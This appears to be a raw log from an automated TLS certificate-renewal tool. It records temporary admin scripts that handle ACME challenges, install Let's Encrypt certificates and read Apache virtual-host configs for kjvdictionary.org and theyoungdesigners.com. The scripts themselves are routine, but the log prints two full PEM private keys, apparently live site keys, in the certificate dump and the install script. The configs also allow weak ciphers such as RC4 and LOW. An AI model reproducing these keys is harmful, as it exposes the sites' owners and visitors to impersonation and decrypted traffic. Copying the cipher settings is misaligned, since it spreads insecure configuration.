    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt
    DocumentRoot	/var/www/kjvdictionary_www
    <Directory /var/www/kjvdictionary_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/www_secure_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-11-21 06:00:17: 

PUT: /tmp/pkp440360

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-21 06:00:17: 

chmod 755 /tmp/pkp440360; /tmp/pkp440360; rm /tmp/pkp440360

2025-11-21 06:00:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt	5382
d7:59:cc:d7:ba:f0:53:c1:ab:4a:f5:73:6c:26:9b:e4

-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBhupW4GcJUOs+Cv+5h2cKblUMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTIxMDUwMTQ1WhcNMjYwMjE5MDUwMTQ0WjAcMRowGAYDVQQD
ExFranZkaWN0aW9uYXJ5Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBANEVPl+Vd9MAZSqfplzNlwAGVx+6vDcS8KNWThR8MCqjsgvOXPa+TM1R3s8m
gDFmZiwheL+7CHtETx9cRdQwNaQseQVJsGVVVO6HNH0ZsVoqwcZtg59RRRWRphv7
heAEQjLGZAXrLIhIOE4oqs9dL+JmJclyRkpJyInheCHS2/mRc66h6jYWn1meRnyZ
e/IPs7xHx6cm9nEG3+LD2CbcYLoGeDFhnl+6JCzMYzHCZqY9O+3KQm5iLDNyRiYu
eVMdAfDuRz2gciXNbIOGaNwRzhEnVxpM1KhwYBYFJCqX46wTIRlRaZIAItioxklL
ZujcwHPjy/P/TxC3lhsYYVIcR+0CAwEAAaOCAjgwggI0MA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQU37vSDfV5nUOsTuNjy5gJ5YJz+qowHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAzBgNVHREELDAqghFranZkaWN0aW9uYXJ5Lm9y
Z4IVd3d3LmtqdmRpY3Rpb25hcnkub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4G
A1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvODUuY3JsMIIB
BAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYAGYbUxyiqb/66A294Kk0BkarOLXIxD67O
XXBBLSVMx9QAAAGapP+/cAAABAMARzBFAiB71G/S9ttepA0BKYQHJhp4QdfQQ33I
VGgjENnCg+x3LQIhAMCrY6VsCbekyOqpg/VbHJ+M/A70rST+tVSx0QJAgtK+AHYA
lpdkv1VYl633Q4doNwhCd+nwOtX2pPM2bkakPw/KqcYAAAGapP+/uAAABAMARzBF
AiARFgjTiqxiEnosIh71nNvxC1EXbGuBTGmi8wxjDsBZ+gIhAMwrRI8+IsqyCGI1
vrEpcNiVwTLpu/3TLCAQobPtXd8nMA0GCSqGSIb3DQEBCwUAA4IBAQAM8VKi0arz
XWC85xSL3GxJpdn9uSj5oNzijursl0VdhfEtB6Kj9rI0B0xd3+GpZ3RO8HTfMRy6
WxGajIn9lMwnW2gVFj30yfnoIbsgMNB16/39QgmLBi69kTRg8/Pfl9Sp9tR3u9Hz
P/Vei0qZsnL8s6+dMsZ/zj0oyH8iECfm/0DOmFa3po+zrWuJ63ZtTIGdxwYFP1q/
1XbwAe4ahak41xnLfmyZs3BlwhG6Qf7RgFpKg/gLUSbsQ6tqsWRF7rK1KXodOyRK
VCCuQ8VEA1cE/1Rk4j/jpDA64lsRTfd0Ii/tycnUry2OwHmjySKBLZzfdFrpBkRj
WWS9+51C8aYG
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDRFT5flXfTAGUq
n6ZczZcABlcfurw3EvCjVk4UfDAqo7ILzlz2vkzNUd7PJoAxZmYsIXi/uwh7RE8f
XEXUMDWkLHkFSbBlVVTuhzR9GbFaKsHGbYOfUUUVkaYb+4XgBEIyxmQF6yyISDhO
KKrPXS/iZiXJckZKSciJ4Xgh0tv5kXOuoeo2Fp9ZnkZ8mXvyD7O8R8enJvZxBt/i
w9gm3GC6BngxYZ5fuiQszGMxwmamPTvtykJuYiwzckYmLnlTHQHw7kc9oHIlzWyD
hmjcEc4RJ1caTNSocGAWBSQql+OsEyEZUWmSACLYqMZJS2bo3MBz48vz/08Qt5Yb
GGFSHEftAgMBAAECggEBAJlD8lIM9iZFbuN83m2/A0awXyNSNnBEwQNq25empYRM
NNL0ti7lttT3g9XkCiqsPo9xBdu+VexOWZXKhSGTKW8sbpZSuyy9DaJAmFhwAhLv
rtYvJ0IdSAAUoWh3y144oPIpfd7c0usfza51nyiczeIvMNnnm+EPDyMLlY1tzXS2
N7ha79ZUWGYKocWm2RFuB44e0U57CLd0C/gUisJ7w7l8UPoVIBN/jdi8xFguu1Lp
Dm0jzXASG9PckKFP6E75e9XbEbsWxHfvceLLnj8CjFU/QMoTE9/MwuVudRALeckA
pNg+2VBnwufUGtG/XpYyu7WOG5B649VTkumR55V1SyECgYEA+Nvw2LuLz3s659ac
QYeKfah/bvMxALoqLLRiO968FJ1LPkFqQTMlaDEuv2aBbBrGccwrAu4k4M2UD5rj
rFPVIQJgB+2SBXnIBJ+6NSvMm9GCk7jsVD9MznQCA+RfYWIjtA7b9PznW8otYZsd
GajHM+G5eVfdfrpgGlF2E+QXt8UCgYEA1xUd5EHZLbIh6XYubimT9h135UZPAg75
itjR1IQoTM8Ymv0EEn+khugalVT4b276ytgnJnTSgD5dGXG84aAi8Mcg5chzwkvh
M/m+hc/46bbd3GRVy93tLJ6UHp1HjZE6C7H8lx9JpWsMV+W+OZxZrvNidJf+mXyq
Bmz/2o4mqgkCgYAwXYaMiL6eX2POZQ5PSglnbJT/ujH+4y+JKrGg0yQYmY1jFxGQ
hGEzw8NDHafvm7CPs090rVXrfujUs5SmDFDyrmR9hfWILOfrxiNJbC7C5dAL57e+
k+LYiQFPQlYrNgicWPr0vSY117BENQJN11iHw8npRGNe2tgMpWJecUkOxQKBgBU2
v/wDgqg/KZkdTvcOosljnq++f4x0baiEOi372v24b3TZ/8zTSicEPZr9BoP3LkVT
jIj+fMSpYgVgcoDOiqO1AEmpu8EuOsglmeUY3jQvFTLnso6pFPuRqIpcePI9oLwG
kiNVsq3eIRmKT3jfMvlOiCd31mTNJvf7SEEGREoBAoGBAIeo20m+zcY8ZlhqYOrs
LW4WywJuihYQ+FwBUonaIw83UdYi0tltHelEq1YKS8f+RR234jIG8a4x5xIXBxd7
QdItOe/DaA5x1KcEgGfBjazmzkwXpn4KWvdkOMowRN4oWJNIK7Y2ew5Vd+80UqfH
96lgZOu1seYnmpz6P64+iIt+
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-11-21 06:00:17: Establishing a connection
2025-11-21 06:00:18: Establishing a connection
2025-11-21 06:00:19: 

PUT: /tmp/pkp766863

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-21 06:00:20: 

chmod 755 /tmp/pkp766863; /tmp/pkp766863; rm /tmp/pkp766863

2025-11-21 06:00:20: 


0


2025-11-22 06:00:01: Establishing a connection
2025-11-22 06:00:02: Establishing a connection
2025-11-22 06:00:02: 

PUT: /tmp/pkp317602

#!/bin/bash
if [ -d "/var/www/theyoungdesigners_com/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-22 06:00:03: 

chmod 755 /tmp/pkp317602; /tmp/pkp317602; rm /tmp/pkp317602

2025-11-22 06:00:03: 


1


2025-11-22 06:00:05: Establishing a connection
2025-11-22 06:00:05: 

PUT: /tmp/pkp900491

#!/bin/bash
mkdir -p "/var/www/theyoungdesigners_com/.well-known/acme-challenge/"
cd "/var/www/theyoungdesigners_com/.well-known/acme-challenge/"
cat > P8P0_eAapZgZLmHsa-pyM6TNrrDSbpVDb1OuOWeekRo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
P8P0_eAapZgZLmHsa-pyM6TNrrDSbpVDb1OuOWeekRo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 P8P0_eAapZgZLmHsa-pyM6TNrrDSbpVDb1OuOWeekRo
cat > 1jIiaEXO0OZG8BDn8xEZZxScCeOA_Hm5Q84o3tDwNPM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
1jIiaEXO0OZG8BDn8xEZZxScCeOA_Hm5Q84o3tDwNPM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 1jIiaEXO0OZG8BDn8xEZZxScCeOA_Hm5Q84o3tDwNPM


2025-11-22 06:00:05: 

chmod 755 /tmp/pkp900491; /tmp/pkp900491; rm /tmp/pkp900491

2025-11-22 06:00:05: 




2025-11-22 06:02:17: Establishing a connection
2025-11-22 06:02:17: 

PUT: /tmp/pkp500005

#!/bin/bash
mkdir -p "/var/www/theyoungdesigners_com/.well-known/acme-challenge/"
cd "/var/www/theyoungdesigners_com/.well-known/acme-challenge/"
rm P8P0_eAapZgZLmHsa-pyM6TNrrDSbpVDb1OuOWeekRo
rm 1jIiaEXO0OZG8BDn8xEZZxScCeOA_Hm5Q84o3tDwNPM


2025-11-22 06:02:17: 

chmod 755 /tmp/pkp500005; /tmp/pkp500005; rm /tmp/pkp500005

2025-11-22 06:02:17: 




2025-11-22 06:02:17: Establishing a connection
2025-11-22 06:02:17: 

PUT: /tmp/pkp219795

#!/bin/bash
temp_file=$(mktemp)
TARGET=2deaf2826866ca8d93ba58b86ef107a6.crt

cat > $temp_file <<'endmsg'
38:28:91:3c:36:73:2d:07:a0:20:19:68:59:9e:27:32

-----BEGIN CERTIFICATE-----
MIIFHzCCBAegAwIBAgISBmgels0sfO98DR9GWb291ZkBMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTIyMDUwMzQ2WhcNMjYwMjIwMDUwMzQ1WjAgMR4wHAYDVQQD
ExV0aGV5b3VuZ2Rlc2lnbmVycy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDbPaq+SVtAtcpzGDLasdWzn3V6RpcHhlK+hVkXX87EnXXtnPjQrmtZ
t5/eLsPAvzKgd0EowaHalkO8gw4NjU6bTPGttPmMeURLUfC/YoT4O3DUOG3hpdhU
HxuTx/SgqwjOB0NIhFfUFfz272cWeyUc5oP9NxqGwyjohIswsSvOeX06uO7ndESG
5GYJCnuil/cO3ou9jihV0lNEIbZjcX8g18GcZkzLn2Njz0OEPAcq6QAstB1ANxy2
3rP7lv7C9CvtVqtWtFvPr/FkDniA6xVu6vuzQV15DE8ygU4kxzrz7rsKtjdcMPey
D+pwBR7n6NdyznpVfOz5gp4mGZ1++mdvAgMBAAGjggI+MIICOjAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFMXHQHgj2LqjEKD8w0ehAkE+XfvyMB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wOwYDVR0RBDQwMoIVdGhleW91bmdkZXNp
Z25lcnMuY29tghl3d3cudGhleW91bmdkZXNpZ25lcnMuY29tMBMGA1UdIAQMMAow
CAYGZ4EMAQIBMC0GA1UdHwQmMCQwIqAgoB6GHGh0dHA6Ly9yMTMuYy5sZW5jci5v
cmcvMi5jcmwwggEDBgorBgEEAdZ5AgQCBIH0BIHxAO8AdQAZhtTHKKpv/roDb3gq
TQGRqs4tcjEPrs5dcEEtJUzH1AAAAZqqJ/Q0AAAEAwBGMEQCIHCgMz5UFanttjp5
9DsaR0tLDNcjpnyQZ9v9cHpaQZVjAiB1+jl5aG4les7iPNqlEXZMFdJFtXm4FwV/
YlsX6W8a6AB2AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWwyxTDFFjnAAABmqon
9EoAAAQDAEcwRQIgSCNTF477nBbgPdB5Scc3et+3Zu7+CJoscpzj1DnUEw0CIQCz
bEW4YK4AYbgZSSLAnCKwPf0qAKRnb919SEWWF/oAzjANBgkqhkiG9w0BAQsFAAOC
AQEAjFOXer2aiQulGbB0VAufOR6oPBDETtM64Fn1XMeBs+i0qYBUOChWL8PiM9eh
fkR4PJNoxRhonu1WPKlltgjaF1787YmECKPZmp4NjvL2vey8vTQxp5WSmcOIAx2G
UzN9T86vk3S+3BdLcrHgGimPRuRdkKtN8NfS8SrSW5WLmgpXTwGyG+U1v5Y5cImC
s4cpU+ngtE2baxwJPbqSwM5oTuHg86IvyrS23Btz+ryAs1MwIx0PbLh2c64ZYpaV
OD0yKgSM0PtOJzoAE+3ia1AJwOLpOz/zx06/yv+1GXznO5Q0xeTqQ+kydGpLx7I5
/HJvp8y5R1L0ZL35s+clZMFNuA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDbPaq+SVtAtcpz
GDLasdWzn3V6RpcHhlK+hVkXX87EnXXtnPjQrmtZt5/eLsPAvzKgd0EowaHalkO8
gw4NjU6bTPGttPmMeURLUfC/YoT4O3DUOG3hpdhUHxuTx/SgqwjOB0NIhFfUFfz2
72cWeyUc5oP9NxqGwyjohIswsSvOeX06uO7ndESG5GYJCnuil/cO3ou9jihV0lNE
IbZjcX8g18GcZkzLn2Njz0OEPAcq6QAstB1ANxy23rP7lv7C9CvtVqtWtFvPr/Fk
DniA6xVu6vuzQV15DE8ygU4kxzrz7rsKtjdcMPeyD+pwBR7n6NdyznpVfOz5gp4m
GZ1++mdvAgMBAAECggEBAI7njUnnSuHNHR8UYOGIFUG16L9BD+TJu1mQVdgUjRQ/
hsTREqYDatnaBQyv8szKU9egpApK3JM8av6PdjODLf+wkb+mPRtBWDC4QnKdZwre
w9awyX7RuUZr2G/lYCDyGxUgSs0T5qPJiU/0EH/o2PITl2kP5+x7fUjCTG/6rBEy
jnHk6TT3UBZt8rCv+muJmPgR7lM/0Nb0igGB2K7fz9yU420/KKAMe6qmMCRVq4nt
axDQ4pIXNBCsE8rXP60CIUzWwQ/h+LS81mLCJ/Xrti3bYrpMCnebqa47hIQm5oM6
964VqTj3BpH2m+EIYqcTVnyuHGePMuclUZVUwnNYtWECgYEA8flPqQCcNjn9pNtL
V2iBqF3x20ro8nEmV/DupCL7PBPMIiBzUNk98hH7d7UvDv4gqZKLeRosVuyyKJNo
akn8glbUVC1r7qDNmUPM3eYhohfJAv9suPwTxAZ0fHE5q+idd+aCJSvdbCE+FOre
tniRISnpkyQU+hoyrxyVzRBk8ecCgYEA5/MEdKuSeSdENiFTWTrj22dgKv5J2xwe
7f8rYyyTLcAOuinL5mO1qsJ+HlONaFzEYIltW7OwY2/TasCzgkny/Hlxm/RldsqU
Xw5bycFk+Y62Yqs7fHhtdIs+jghj8NuU/MF7bORTBUX5gdzoKB+gaD8cPvoz7bRX
tUAz+sOvvTkCgYAODHiIimWHbHSChszoBURJ3zJ0lfPSZ6lfP7jLRNCrW0bl0FaB
oitLi6m6+IUD7NM+pSh93nwmi9WIL47HZQZJFvt666wxjZqCRIJ3e64GODVOfD/2
uYP4RJuswfIkPfwugu6Zc+OGLKPrGPvXQkbC0ykhht3E65J3wkQcRNBnjwKBgGwa
BumZTRrKAjB4N7BOkgOfmmJvQVytLn0df8so6y9XY4XAFRe7QN/k5YKczjrlgWC8
rAshJAQ0CgSm6wK+FFE3CIv2y5MhtyTWPFE7oSPuL3Ks+3x3ZAv9GZp4rpuCu11R
j4SgpVC/3Bl6K3kHxGrRfwia87jFZFtFIPSuXymBAoGAVgs2yf/Ey4hOANjr7Jgs
hy61r1jbYh+hpyW8fKGBr49JE1tftT2kJ5uKcnYCep/kdFt1N7adkL/t6pljX0i4
1jfeG+BPQ7ansQt7wE9embNFB3+mIgTCnvBiw4ynoncGDcysmuU5+stw+LAcHBHA
LYJSZcPyutSbPHljS7hnPqM=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-22 06:02:17: 

chmod 755 /tmp/pkp219795; /tmp/pkp219795; rm /tmp/pkp219795

2025-11-22 06:02:17: 


dir=/etc/ssl/certs


2025-11-22 06:02:17: 

PUT: /tmp/pkp325987

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-available/theyoungdesigners_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-22 06:02:17: 

chmod 755 /tmp/pkp325987; /tmp/pkp325987; rm /tmp/pkp325987

2025-11-22 06:02:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/theyoungdesigners_www_com.conf 1481

<VirtualHost *:80>
    ServerName	theyoungdesigners.com
    ServerAlias	www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/theyoungdesigners_com/public
    <Directory /var/www/theyoungdesigners_com>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/com_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/com_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	theyoungdesigners.com
    ServerAlias	www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt
    DocumentRoot	/var/www/theyoungdesigners_com/public
    <Directory /var/www/theyoungdesigners_com>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/com_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/com_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-11-22 06:02:17: 

PUT: /tmp/pkp214457

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=theyoungdesigners_www_com.conf
TARGET=/etc/apache2/sites-available/theyoungdesigners_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	theyoungdesigners.com
    ServerAlias	www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/theyoungdesigners_com/public
    <Directory /var/www/theyoungdesigners_com>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/com_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/com_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	theyoungdesigners.com
    ServerAlias	www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt
    DocumentRoot	/var/www/theyoungdesigners_com/public
    <Directory /var/www/theyoungdesigners_com>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/com_secure_access.log combined
